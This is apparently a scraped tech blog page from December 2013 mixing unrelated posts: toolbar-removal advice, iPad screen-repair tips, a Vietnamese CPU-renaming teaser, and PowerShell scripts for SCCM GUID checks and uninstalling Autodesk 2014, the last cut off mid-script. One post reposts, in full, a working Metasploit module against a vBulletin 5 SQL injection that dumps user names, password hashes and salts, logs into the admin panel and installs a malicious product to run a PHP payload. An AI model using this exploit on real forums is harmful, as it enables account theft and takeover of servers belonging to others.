20/12/13

Free Toolbar Cleaner & Remover Tools for your browsers

We have already seen how to manually uninstall some toolbars which may have got installed on your Internet Explorer, Chrome, Firefox, Opera or other browsers. While in most cases it may be possible to uninstall them via the Control Panel or the respective browsers’ Add-ons Manager, in some cases, it may not be possible and you may have to use some tools to remove such persistent toolbars.

Some toolbars which are difficult to remove are Ask toolbar, Babylon toolbar, AVG SecureSearch, SiteSafety, MyFree toolbar, C duit toolbar, ZXY toolbar, Anonymization toolbar, GameNext toolbar, MPire toolbar, MyWebSearch toolbar, NetCraft toolbar, People Search toolbar, Public Record toolbar, Zango toolbar, Elite toolbar, etc. The list is endless, with many wanting to push toolbars for various reasons. It could be for making money with every install, for pushing pop-ups or for tracking down your computer usage.

READ MORE »

15/12/13

Tips on replacing the screen on an iPad 2 and up

I had the not so pleasure of replacing the screen on my wife's iPad 2. There are plenty of videos on Youtube on how to do this. I am providing some tips on what I learned while doing this.
  • It takes about 30 seconds of leaving the hair dryer on high with hot air to soften the adhesive
  • Make sure you keep the hair dryer only on the edge of the iPad blowing away from it. You do not want to overheat the internal parts of it.
  • Make sure you wear glasses or goggles. If the glass shatters, which it is a good possibility if the screen is cracked all the way across, the glass can fly up at your face.
  • Make sure you do this in a room where there is no carpet. If the screen shatters while you are softening the adhesive with the dryer, it will blow some of the glass around the room and there are very, very fine pieces that it breaks up into.
  • Go ahead and purchase the home button, wifi antenna flex cable, and the power switch volume on/off flex cable to replace while doing this. They are very cheap and worth replacing while you have the device open.
  • Use 3M double sided tape. It will be much easier to reopen if you ever have to again.

13/12/13

Hướng dẫn thay đổi tên Bộ vi xử lý của bạn

Sử dụng thủ thuật này có thể thay đổi tên bộ vi xử lý của chúng ta và làm cho bạn bè ngạc nhiên. Ví dụ chúng ta có thể thay đổi tên bộ vi xử lý từ i3 lên i7 hoặc bất cứ tên nào bạn muốn. Vậy thực hiện điều đó như thế nào?


Chú ý: Thủ thuật này chỉ dành cho mục đích học hỏi.
READ MORE »

12/12/13

Powershell: Verify SCCM can see Application GUIDs

I was deploying an application through SCCM and it continued to fail every time, although the app was completely installed. I knew it had to be with the verification process. I went through and entered all of the GUIDs for the apps being installed as the verification. I wrote the script below to verify WMI could see the GUIDs and come to find out, they were not registered in the HKCR, but the apps were registered in the HKLM, which makes it show up in the add/remove programs. This resolved my issue of the failure.

Create a text file named GUIDs.txt and enter a series of GUIDs. The script will read these GUIDs and then query WMI to see if they are registered. If they are not registered, nothing appears. If they are registered, all pertinent WMI data is displayed. At the end, it will list all of the GUIDs that WMI could not find. At this point, remove those GUIDs from the SCCM verification and the package should install with no issues.

You can download the script from here.

 #*******************************************************************************  
 #   Author: Mick Pletcher  
 #    Date: 12 December 2013  
 #  
 #   Program: Verify GUIDs  
 #*******************************************************************************  
   
 cls  
 Set-Variable -Name App -Value $null  
 Set-Variable -Name File -Force  
 Set-Variable -Name GUID -Force  
 Set-Variable -Name RelativePath -Scope Global -Force  
   
 $MissingGUIDs = @()  
 Function GetRelativePath {  
      $Global:RelativePath=(split-path $SCRIPT:MyInvocation.MyCommand.Path -parent)+"\"  
 }  
   
 GetRelativePath  
 $File = Import-Csv -Header GUID1 $Global:RelativePath"GUIDs.txt"  
 Foreach ($GUID in $File) {  
      #Write-Host $GUID.GUID1  
      #Get-WmiObject win32_product | Where-Object {$_.IdentifyingNumber -match "{5783F2D7-D004-0409-1102-0060B0CE6BBA}"}  
      $App = Get-WmiObject win32_product | Where-Object {$_.IdentifyingNumber -match $GUID.GUID1}  
      $App  
      If ($App.Name -like "") {  
           $MissingGUIDs += $GUID.GUID1  
      }  
      $App = $null  
 }  
 Write-Host  
 Write-Host "Missing GUIDs"  
 Write-Host "-------------"  
 $MissingGUIDs  
   
 #Cleanup Global Memory  
 Remove-Variable -Name App -Force  
 Remove-Variable -Name File -Force  
 Remove-Variable -Name GUID -Force  
 Remove-Variable -Name MissingGUIDs -Force  
 Remove-Variable -Name RelativePath -Scope Global -Force  
   

vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection

http://securityaffairs.co/wordpress/wp-content/uploads/2013/10/vbullettin-hacking.jpg

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability found in vBulletin 5 that has
        been used in the wild since March 2013. This module uses the sqli to extract the
        web application's usernames and hashes. With the retrieved information tries to
        log into the admin control panel in order to deploy the PHP payload. This module
        has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu
        Linux distribution.
      },
      'Author'         =>
        [
          'Orestis Kourides', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-3522' ],
          [ 'OSVDB', '92031' ],
          [ 'EDB', '24882' ],
          [ 'BID', '58754' ],
          [ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 10000 # Just value big enough to fit any php payload
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'vBulletin 5.0.0 Beta 11-28', { }]],
      'DisclosureDate' => 'Mar 25 2013',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),
        OptInt.new("NODE", [false, 'Valid Node ID']),
        OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),
        OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])
      ], self.class)
  end
 
  def exists_node?(id)
    mark = rand_text_alpha(8 + rand(5))
    result = do_sqli(id, "select '#{mark}'")
 
    if result and result =~ /#{mark}/
      return true
    end
 
    return false
  end
 
  def brute_force_node
    min = datastore["MINNODE"]
    max = datastore["MAXNODE"]
 
    if min > max
      print_error("#{peer} - MINNODE can't be major than MAXNODE")
      return nil
    end
 
    for node_id in min..max
      if exists_node?(node_id)
        return node_id
      end
    end
 
    return nil
  end
 
  def get_node
    if datastore['NODE'].nil? or datastore['NODE'] <= 0
      print_status("#{peer} - Brute forcing to find a valid node id...")
      return brute_force_node
    end
 
    print_status("#{peer} - Checking node id #{datastore['NODE']}...")
    if exists_node?(datastore['NODE'])
      return datastore['NODE']
    else
      return nil
    end
  end
 
  def do_sqli(node, query)
    mark = Rex::Text.rand_text_alpha(5 + rand(3))
    random_and = Rex::Text.rand_text_numeric(4)
    injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "
    injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "
    injection << "AND (#{random_and}=#{random_and}"
 
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),
      'vars_post' =>
        {
          'nodeid'  => "#{node}#{injection}",
        }
      })
 
    unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/
      return nil
    end
 
    data = ""
 
    if res.body.to_s =~ /#{mark}(.*)#{mark}/
      data = $1
    end
 
    return data
  end
 
  def get_user_data(node_id, user_id)
    user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")
    pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")
    salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")
 
    return [user, pass, salt]
  end
 
  def do_login(user, hash)
    res = send_request_cgi({
      'uri'           => normalize_uri(target_uri.path, "login.php"),
      'method'        => 'POST',
      'encode_params' => false,
      'vars_get'      => {
        'do' => 'login'
      },
      'vars_post'     => {
        'url'                      => '%2Fadmincp%2F',
        'securitytoken'            => 'guest',
        'logintype'                => 'cplogin',
        'do'                       => 'login',
        'vb_login_md5password'     => hash,
        'vb_login_md5password_utf' => hash,
        'vb_login_username'        => user,
        'vb_login_password'        => '',
        'cssprefs'                 => ''
      }
    })
 
    if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie']
      session = res.get_cookies
    else
      return nil
    end
 
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, "admincp", "/"),
      'cookie' => session
    })
 
    if res and res.code == 200 and res.body and res.body.to_s =~ /<title>Forums Admin Control Panel<\/title>/
      return session
    else
      return nil
    end
 
  end
 
  def get_token(response)
    token_info = {
      :session_hash => "",
      :security_token => "",
      :admin_hash => ""
    }
 
    if response =~ /var SESSIONHASH = "([0-9a-f]+)";/
      token_info[:session_hash] = $1
    end
 
    if response =~ /var ADMINHASH = "([0-9a-f]+)";/
      token_info[:admin_hash] = $1
    end
 
    if response =~ /var SECURITYTOKEN = "([0-9a-f\-]+)";/
      token_info[:security_token] = $1
    end
 
    return token_info
  end
 
  def get_install_token
    res = send_request_cgi({
      "uri"      => normalize_uri(target_uri.path, "admincp", "product.php"),
      "vars_get" => {
        "do" => "productadd"
      },
      "cookie"   => @session
    })
 
    unless res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/
      return nil
    end
 
 
    return get_token(res.body.to_s)
  end
 
  def install_product(token_info)
 
    xml_product = <<-EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
 
<product productid="#{@product_id}" active="0">
  <title>#{@product_id}</title>
  <description>#{@product_id}</description>
  <version>1.0</version>
  <url>http://#{@product_id}.loc</url>
  <versioncheckurl>http://#{@product_id}.loc/version.xml</versioncheckurl>
  <dependencies>
    <dependency dependencytype="vbulletin" minversion="" maxversion="" />
  </dependencies>
  <codes>
    <code version="*">
      <installcode>
        <![CDATA[
        #{payload.encoded}
        ]]>
      </installcode>
      <uninstallcode />
    </code>
  </codes>
  <templates>
  </templates>
  <stylevardfns>
  </stylevardfns>
  <stylevars>
  </stylevars>
  <hooks>
  </hooks>
  <phrases>
  </phrases>
  <options>
  </options>
  <helptopics>
  </helptopics>
  <cronentries>
  </cronentries>
  <faqentries>
  </faqentries>
  <widgets>
  </widgets>
</product>
    EOF
 
    post_data = Rex::MIME::Message.new
    post_data.add_part(token_info[:session_hash], nil, nil, "form-data; name=\"s\"")
    post_data.add_part("productimport", nil, nil, "form-data; name=\"do\"")
    post_data.add_part(token_info[:admin_hash], nil, nil, "form-data; name=\"adminhash\"")
    post_data.add_part(token_info[:security_token], nil, nil, "form-data; name=\"securitytoken\"")
    post_data.add_part(xml_product, "text/xml", nil, "form-data; name=\"productfile\"; filename=\"product_juan2.xml\"")
    post_data.add_part("", nil, nil, "form-data; name=\"serverfile\"")
    post_data.add_part("1", nil, nil, "form-data; name=\"allowoverwrite\"")
    post_data.add_part("999999999", nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
 
    # Work around an incompatible MIME implementation
    data = post_data.to_s
    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'method'   => "POST",
      'ctype'    => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productimport"
      },
      'data'     => data
    })
 
    if res and res.code == 200 and res.body and res.body.to_s =~ /Product #{@product_id} Imported/
      return true
    elsif res
      fail_with(Failure::Unknown, "#{peer} - Error when trying to install the product.")
    else
      return false
    end
 
  end
 
  def get_delete_token
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productdelete",
        "productid" => @product_id,
        "s" => @session_hash
      }
    })
 
    if res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/
      return get_token(res.body.to_s)
    end
 
    return nil
  end
 
  def delete_product(token_info)
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'method'   => "POST",
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productkill"
      },
      'vars_post' => {
        "s"             => token_info[:session_hash],
        "do"            => "productkill",
        "adminhash"     => token_info[:admin_hash],
        "securitytoken" => token_info[:security_token],
        "productid"     => @product_id
      }
    })
 
    if res and res.code == 200 and res.body.to_s =~ /Product #{@product_id} Uninstalled/
      return true
    end
 
    return false
  end
 
  def check
    node_id = get_node
 
    unless node_id.nil?
      return Msf::Exploit::CheckCode::Vulnerable
    end
 
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "index.php")
    })
 
    if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
      return Msf::Exploit::CheckCode::Detected
    end
 
    return Msf::Exploit::CheckCode::Unknown
  end
 
  def on_new_session(session)
    print_status("#{peer} - Getting the uninstall token info...")
    delete_token = get_delete_token
    if delete_token.nil?
      print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")
      return
    end
 
    print_status("#{peer} - Deleting the product #{@product_id}...")
    if delete_product(delete_token)
      print_good("#{peer} - Product #{@product_id} deleted")
    else
      print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")
    end
  end
 
  def exploit
    print_status("#{peer} - Checking for a valid node id...")
    node_id = get_node
    if node_id.nil?
      print_error("#{peer} - node id not found")
      return
    end
 
    print_good("#{peer} - Using node id #{node_id} to exploit sqli... Counting users...")
    data = do_sqli(node_id, "select count(*) from user")
    if data.empty?
      print_error("#{peer} - Error exploiting sqli")
      return
    end
    count_users = data.to_i
    users = []
    print_good("#{peer} - #{count_users} users found")
 
    for i in 0..count_users - 1
      user = get_user_data(node_id, i)
      report_auth_info({
        :host => rhost,
        :port => rport,
        :user => user[0],
        :pass => user[1],
        :type => "hash",
        :sname => (ssl ? "https" : "http"),
        :proof => "salt: #{user[2]}" # Using proof to store the hash salt
      })
      users << user
    end
 
    @session = nil
    users.each do |user|
      print_status("#{peer} - Trying to log into vBulletin admin control panel as #{user[0]}...")
      @session = do_login(user[0], user[1])
      unless @session.blank?
        print_good("#{peer} - Logged in successfully as #{user[0]}")
        break
      end
    end
 
    if @session.blank?
      fail_with(Failure::NoAccess, "#{peer} - Failed to log into the vBulletin admin control panel")
    end
 
    print_status("#{peer} - Getting the install product security token...")
    install_token = get_install_token
    if install_token.nil?
      fail_with(Failure::Unknown, "#{peer} - Failed to get the install token")
    end
 
    @session_hash = install_token[:session_hash]
    @product_id = rand_text_alpha_lower(5 + rand(8))
    print_status("#{peer} - Installing the malicious product #{@product_id}...")
    if install_product(install_token)
      print_good("#{peer} - Product successfully installed... payload should be executed...")
    else
      # Two situations trigger this path:
      # 1) Upload failed but there wasn't answer from the server. I don't think it's going to happen often.
      # 2) New session, for exemple when using php/meterpreter/reverse_tcp, the common situation.
      # Because of that fail_with isn't used here.
      return
    end
 
    print_status("#{peer} - Getting the uninstall token info...")
    delete_token = get_delete_token
    if delete_token.nil?
      print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")
      return
    end
 
    print_status("#{peer} - Deleting the product #{@product_id}...")
    if delete_product(delete_token)
      print_good("#{peer} - Product #{@product_id} deleted")
    else
      print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")
    end
 
  end
 
 
end

Nguồn: http://www.exploit-db.com/exploits/30212/

READ MORE »

10/12/13

Powershell: Autodesk 2014 Uninstaller

Here is a script that will uninstall Autodesk 2014. This will uninstall BDS Ultimate, which should cover all Revit 2014 applications. This also uninstalls Civil 3D 2014, but does not cover anything else from the IDSP suite. There are three sections in this script. You can enter the argument at the command line to uninstall architecture, engineering, and Civil 3D. If there is no argument, it defaults the uninstalling BDS Ultimate.

You can download the script here.


 #*******************************************************************************  
 #   Author: Mick Pletcher  
 #    Date: 04 December 2013  
 #  
 #   Program: Autodesk 2014 Uninstaller  
 #*******************************************************************************  
   
 Function RenameWindow ($Title) {  
   
      #Declare Local Memory  
      Set-Variable -Name a -Scope Local -Force  
        
      $a = (Get-Host).UI.RawUI  
      $a.WindowTitle = $Title  
        
      #Cleanup Local Memory  
      Remove-Variable -Name a -Scope Local -Force  
 }  
   
 Function UninstallName($Description) {  
   
      #Declare Local Memory  
      Set-Variable -Name AppName -Scope Local -Force  
      Set-Variable -Name Arguments -Scope Local -Force  
      Set-Variable -Name Result -Scope Local -Force  
      Set-Variable -Name GUID -Scope Local -Force  
      Set-Variable -Name Output -Scope Local -Force  
      Set-Variable -Name Output1 -Scope Local -Force  
        
      #Change '%application%' to whatever app you are calling  
      $Description = [char]34+"description like"+[char]32+[char]39+[char]37+$Description+[char]37+[char]39+[char]34  
      $Output1 = wmic product where $Description get Description  
      $Output1 | ForEach-Object {  
           $_ = $_.Trim()  
        if(($_ -ne "Description")-and($_ -ne "")){  
          $AppName = $_  
        }  
      }  
      If ($AppName -eq $null) {  
           return  
      }  
      Write-Host "Uninstalling"$AppName"....." -NoNewline  
      $Output = wmic product where $Description get IdentifyingNumber  
      $Output | ForEach-Object {  
           $_ = $_.Trim()  
             if(($_ -ne "IdentifyingNumber")-and($_ -ne "")){  
               $GUID = $_  
             }  
      }  
      $Arguments = "/X"+[char]32+$GUID+[char]32+"/qb- /norestart"  
      $Result = (Start-Process -FilePath "msiexec.exe" -ArgumentList $Arguments -Wait -Passthru).ExitCode  
      If ($Result -eq 0) {  
           Write-Host "Uninstalled" -ForegroundColor Yellow  
      } else {  
           Write-Host "Failed with error code"$Result -ForegroundColor Red  
      }  
        
      #Cleanup Local Memory  
      Remove-Variable -Name AppName -Scope Local -Force  
      Remove-Variable -Name Arguments -Scope Local -Force  
      Remove-Variable -Name Result -Scope Local -Force  
      Remove-Variable -Name GUID -Scope Local -Force  
      Remove-Variable -Name Output -Scope Local -Force  
      Remove-Variable -Name Output1 -Scope Local -Force  
        
 }  
   
 Function UninstallGUID($Application,$GUID) {  
        
      #Declare Local Variables  
      Set-Variable -Name Result -Scope Local -Force  
      Set-Variable -Name Arguments -Scope Local -Force  
        
      Write-Host $Application"...." -NoNewline  
      $Arguments = "/x "+$GUID+" /qb- /norestart"  
      $Result = (Start-Process -FilePath msiexec.exe -ArgumentList $Arguments -Wait -Passthru).ExitCode  
      If ($Result -eq 0) {  
           Write-Host "Uninstalled" -ForegroundColor Yellow  
      } elseIf ($Result -eq 1605) {  
           Write-Host "Not Installed" -ForegroundColor Yellow  
      } else {  
           Write-Host "Failed with error code"$Result -ForegroundColor Red  
      }  
        
      #Cleanup Local Variables  
      Remove-Variable -Name Result -Scope Local -Force  
      Remove-Variable -Name Arguments -Scope Local -Force  
        
 }  
   
 cls  
 RenameWindow "Autodesk 2014 Uninstaller"  
 #Autodesk Prerequisites  
      #UninstallName "Microsoft Visual C++ 2008 SP1 Redistributable (x64)"  
      #UninstallName "Microsoft Visual C++ 2008 SP1 Redistributable (x64) 9.0.30729.6161"  
      #UninstallName "Microsoft Visual C++ 2005 Redistributable (x86)"  
      #UninstallName "Microsoft Visual C++ 2005 Redistributable (x64)"  
      #UninstallName "Microsoft Visual C++ 2008 SP1 Redistributable (x86)"  
      #UninstallName "Microsoft Visual C++ 2008 SP1 Redistributable (x86) 9.0.30729.6161"  
      #UninstallName "Microsoft Visual C++ 2010 SP1 Redistributable (x86)"  
      #UninstallName "Microsoft Visual C++ 2010 SP1 Redistributable (x64)"  
      #UninstallName "Microsoft Visual C++ 2008 x86 ATL Runtime 9.0.30729"  
      #UninstallName "Microsoft Visual C++ 2008 x86 MFC Runtime 9.0.30729"  
      #UninstallName "Microsoft Visual C++ 2008 x86 CRT Runtime 9.0.30729"  
      #UninstallName "Microsoft Visual C++ 2008 x86 OpenMP Runtime 9.0.30729"  
      #UninstallName "Microsoft Visual C++ 2008 x64 ATL Runtime 9.0.30729"  
      #UninstallName "Microsoft Visual C++ 2008 x64 MFC Runtime 9.0.30729"  
      #UninstallName "Microsoft Visual C++ 2008 x64 CRT Runtime 9.0.30729"  
      #UninstallName "Microsoft Visual C++ 2008 x64 OpenMP Runtime 9.0.30729"  
      #UninstallName "Microsoft Visual C++ 2005 SP1 Redistributable ATL Security Update (x86)"  
      #UninstallName "Microsoft Visual C++ 2005 SP1 Redistributable ATL Security Update (x64)"  
      #UninstallName ".NET Framework Runtime 3.5 SP1"  
      #UninstallName ".NET Framework Runtime 4.5"  
      #UninstallName "DirectX® Runtime"  
      #UninstallName "FARO LS 1.1.501.0 (64bit)"  
      #UninstallName ".NET Framework Runtime 4.0"  
      #UninstallName ".NET Framework Runtime 4.0 KB2468871"  
      #UninstallName "MSXML 6.0 Parser"  
      #UninstallName "Microsoft Windows Media Format 9.5 Series Runtime"  
      #UninstallName "Microsoft WSE 3.0 Runtime"  
      #UninstallName ".NET Framework Runtime 4.0"  
      #UninstallName ".NET Framework Runtime 4.0 KB2468871"  
      #UninstallName "Microsoft Visual Basic for Applications 7.1 (x64)"  
      #UninstallName "Microsoft Visual Basic for Applications 7.1 (x64) English"  
 If ($args -ne $null) {  
      $args = $args.ToLower()  
 }  
 If ($args -eq "architecture") {  
      #Architecture  
      UninstallGUID "Revit 2014" "{7346B4A0-1400-0510-0000-705C0D862004}"  
      UninstallName "Autodesk Workflows 2014"  
      UninstallGUID "Revit 2014 Language Pack - English" "{7346B4A0-1400-0511-0409-705C0D862004}"  
      UninstallGUID "Autodesk Material Library 2014" "{644F9B19-A462-499C-BF4D-300ABC2A28B1}"  
      UninstallGUID "Autodesk Material Library Base Resolution Image Library 2014" "{51BF3210-B825-4092-8E0D-66D689916E02}"  
      UninstallGUID "Autodesk Material Library Low Resolution Image Library 2014" "{5C29CC1F-218F-4C30-948A-11066CAC59FB}"  
      UninstallGUID "Autodesk Content Service" "{62F029AB-85F2-0000-866A-9FC0DD99DDBC}"  
      UninstallGUID "Autodesk Content Service Language Pack" "{62F029AB-85F2-0001-866A-9FC0DD99DDBC}"  
      UninstallGUID "AutoCAD 2014 - English" "{5783F2D7-D001-0000-0102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD 2014 Language Pack - English" "{5783F2D7-D001-0409-1102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD 2014 - English" "{5783F2D7-D001-0409-2102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk Navisworks 2014 64 bit Exporter Plug-ins" "{914E5049-303D-5993-9734-CF12636383B4}"  
      UninstallGUID "Autodesk Navisworks 2014 64 bit Exporter Plug-ins English Language Pack" "{914E5049-303D-0409-9734-CF12636383B4}"  
      UninstallGUID "Autodesk Material Library Medium Resolution Image Library 2014" "{A0633D4E-5AF2-4E3E-A70A-FE9C2BD8A958}"  
      UninstallGUID "Autodesk Revit Interoperability for 3ds Max 2014" "{0BB716E0-1400-0610-0000-097DC2F354DF}"  
      UninstallGUID "Autodesk 3ds Max Design 2014" "{52B37EC7-D836-0409-0164-3C24BCED2010}"  
      UninstallName "Autodesk 3ds Max Design 2014 SP2"  
      UninstallGUID "Autodesk 3ds Max Design 2014 64-bit Populate Data" "{2BCAFE22-BE25-4437-815C-54596D630397}"  
      UninstallGUID "Autodesk DirectConnect 2014 64-bit" "{8FC7C2B2-0F64-4B35-AA3D-2B051D009243}"  
      UninstallGUID "Autodesk Inventor Server Engine for 3ds Max Design 2014 64-bit" "{CBC74B06-FE35-482C-89D6-CE95A0289C06}"  
      UninstallGUID "Autodesk Composite 2014" "{5AAB972C-FF31-4B01-8445-50C42860EC02}"  
      UninstallGUID "Autodesk Revit Interoperability for Showcase 2014" "{0BB716E0-1400-0410-0000-097DC2F354DF}"  
      UninstallGUID "AutoCAD Architecture 2014 - English" "{5783F2D7-D004-0000-0102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk 360" "{52B28CAD-F49D-47BA-9FFE-29C2E85F0D0B}"  
      UninstallGUID "Autodesk Showcase 2014 64-bit" "{42FCE681-2220-4EAA-8E39-20B527585547}"  
      UninstallGUID "Autodesk SketchBook Designer 2014" "{4057E6CF-C9AC-45D7-87D4-A8FAE305AAC1}"  
      UninstallGUID "Autodesk SketchBook Designer for AutoCAD 2014" "{8BFDC12D-7F32-4F77-95DE-D1A42BAC91DD}"  
      UninstallName "Autodesk Backburner 2014"  
      UninstallGUID "Autodesk Essential Skills Movies for 3ds Max Design 2014 64-bit" "{280881E4-0E3C-40E6-9B76-E05A865551BB}"  
      UninstallGUID "AutoCAD Architecture 2014 Language Pack - English" "{5783F2D7-D004-0409-1102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD Architecture 2014 - English" "{5783F2D7-D004-0409-2102-0060B0CE6BBA}"  
      UninstallGUID "SketchUp Import for AutoCAD 2014" "{644E9589-F73A-49A4-AC61-A953B9DE5669}"  
 } elseif ($args -eq "engineering") {  
      #Engineering  
      UninstallGUID "Revit 2014" "{7346B4A0-1400-0510-0000-705C0D862004}"  
      UninstallName "Autodesk Workflows 2014"  
      UninstallGUID "Revit 2014 Language Pack - English" "{7346B4A0-1400-0511-0409-705C0D862004}"  
      UninstallGUID "Autodesk Material Library 2014" "{644F9B19-A462-499C-BF4D-300ABC2A28B1}"  
      UninstallGUID "Autodesk Material Library Base Resolution Image Library 2014" "{51BF3210-B825-4092-8E0D-66D689916E02}"  
      UninstallGUID "Autodesk Material Library Low Resolution Image Library 2014" "{5C29CC1F-218F-4C30-948A-11066CAC59FB}"  
      UninstallGUID "Autodesk Content Service" "{62F029AB-85F2-0000-866A-9FC0DD99DDBC}"  
      UninstallGUID "Autodesk Content Service Language Pack" "{62F029AB-85F2-0001-866A-9FC0DD99DDBC}"  
      UninstallGUID "AutoCAD 2014 - English" "{5783F2D7-D001-0000-0102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD 2014 Language Pack - English" "{5783F2D7-D001-0409-1102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD 2014 - English" "{5783F2D7-D001-0409-2102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk 360" "{52B28CAD-F49D-47BA-9FFE-29C2E85F0D0B}"  
      UninstallGUID "SketchUp Import for AutoCAD 2014" "{644E9589-F73A-49A4-AC61-A953B9DE5669}"  
      UninstallGUID "Autodesk Navisworks 2014 64 bit Exporter Plug-ins" "{914E5049-303D-5993-9734-CF12636383B4}"  
      UninstallGUID "Autodesk Navisworks 2014 64 bit Exporter Plug-ins English Language Pack" "{914E5049-303D-0409-9734-CF12636383B4}"  
      UninstallGUID "Autodesk Material Library Medium Resolution Image Library 2014" "{A0633D4E-5AF2-4E3E-A70A-FE9C2BD8A958}"  
      UninstallGUID "Autodesk Revit Interoperability for 3ds Max 2014" "{0BB716E0-1400-0610-0000-097DC2F354DF}"  
      UninstallGUID "Autodesk 3ds Max Design 2014" "{52B37EC7-D836-0409-0164-3C24BCED2010}"  
      UninstallName "Autodesk 3ds Max Design 2014 SP2"  
      UninstallGUID "Autodesk 3ds Max Design 2014 64-bit Populate Data" "{2BCAFE22-BE25-4437-815C-54596D630397}"  
      UninstallGUID "Autodesk DirectConnect 2014 64-bit" "{8FC7C2B2-0F64-4B35-AA3D-2B051D009243}"  
      UninstallGUID "Autodesk Inventor Server Engine for 3ds Max Design 2014 64-bit" "{CBC74B06-FE35-482C-89D6-CE95A0289C06}"  
      UninstallGUID "Autodesk Composite 2014" "{5AAB972C-FF31-4B01-8445-50C42860EC02}"  
      UninstallName "Autodesk® Backburner 2014"  
      UninstallGUID "Autodesk Essential Skills Movies for 3ds Max Design 2014 64-bit" "{280881E4-0E3C-40E6-9B76-E05A865551BB}"  
 } elseif ($args -eq "civil3d") {  
      #Civil3D  
      UninstallGUID "Autodesk Material Library 2014" "{644F9B19-A462-499C-BF4D-300ABC2A28B1}"  
      UninstallGUID "Autodesk Material Library Base Resolution Image Library 2014" "{51BF3210-B825-4092-8E0D-66D689916E02}"  
      UninstallGUID "Autodesk Content Service" "{62F029AB-85F2-0000-866A-9FC0DD99DDBC}"  
      UninstallGUID "Autodesk Content Service Language Pack" "{62F029AB-85F2-0001-866A-9FC0DD99DDBC}"  
      UninstallGUID "Autodesk AutoCAD Civil 3D 2014" "{5783F2D7-D000-0409-0102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk AutoCAD Civil 3D 2014 Language Pack - English" "{5783F2D7-D000-0409-1102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk AutoCAD Civil 3D 2014 - English" "{5783F2D7-D000-0409-2102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk 360" "{52B28CAD-F49D-47BA-9FFE-29C2E85F0D0B}"  
      UninstallGUID "SketchUp Import for AutoCAD 2014" "{644E9589-F73A-49A4-AC61-A953B9DE5669}"  
      UninstallName "Autodesk AutoCAD Civil 3D 2014 64 Bit Object Enabler on Autodesk 360 - Language Neutral"  
      UninstallGUID "Autodesk® Storm and Sanitary Analysis 2014" "{6BBA09C8-6B20-4115-B917-C09D8337AE09}"  
      UninstallGUID "Autodesk® Storm and Sanitary Analysis 2014 x64 Plug-in" "{F49CAD53-8F0F-441A-B974-CA5C3D7D03C1}"  
      UninstallName "Autodesk AutoCAD Civil 3D 2014 32 bit Object Enabler"  
      UninstallGUID "Autodesk ReCap" "{31ABA3F2-0000-1033-0102-111D43815377}"  
      UninstallGUID "Autodesk ReCap Language Pack-English" "{31ABA3F2-0010-1033-0102-111D43815377}"  
      UninstallGUID "Autodesk App Manager" "{C070121A-C8C5-4D52-9A7D-D240631BD433}"  
      UninstallGUID "Autodesk Featured Apps" "{F732FEDA-7713-4428-934B-EF83B8DD65D0}"  
 } else {  
      #BDS Ultimate  
   
      UninstallGUID "Revit 2014" "{7346B4A0-1400-0510-0000-705C0D862004}"  
      UninstallName "Autodesk Workflows 2014"  
